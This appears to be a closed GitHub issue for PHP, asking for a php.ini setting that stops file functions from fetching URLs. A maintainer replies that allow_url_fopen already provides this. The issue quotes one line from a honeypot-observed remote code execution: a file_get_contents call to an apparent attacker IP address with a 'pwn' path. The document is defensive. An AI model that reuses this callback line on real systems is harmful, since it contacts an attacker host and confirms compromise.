Skip to content

New php.ini option to forbid loading Internet for file_get_contents() or other functions #24767

Closed as not planned

Description

@krustfurt

Description

https://github.com/0x4D31/honeypot-data/blob/main/reports/php2shell/2026-10-24-confirmed-rce.md#complete-observed-shell-commands

file_get_contents("http://162.35.99.94:8080/pwn-[T2-honeypot-IP]");

Those file-related founction SHOULD NOT attempt to load internet IMHO; why not add php.ini configuration to forbid this behavior by default?

php.ini:

forbid_internet_dl = true;
<?php
file_get_contents("http://162.35.99.94:8080/pwn-[T2-honeypot-IP]");

// will raise Error

Activity

  1. ndossche commented on Oct 27, 2026

    @ndossche
    Member

    This option already exists: allow_url_fopen

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions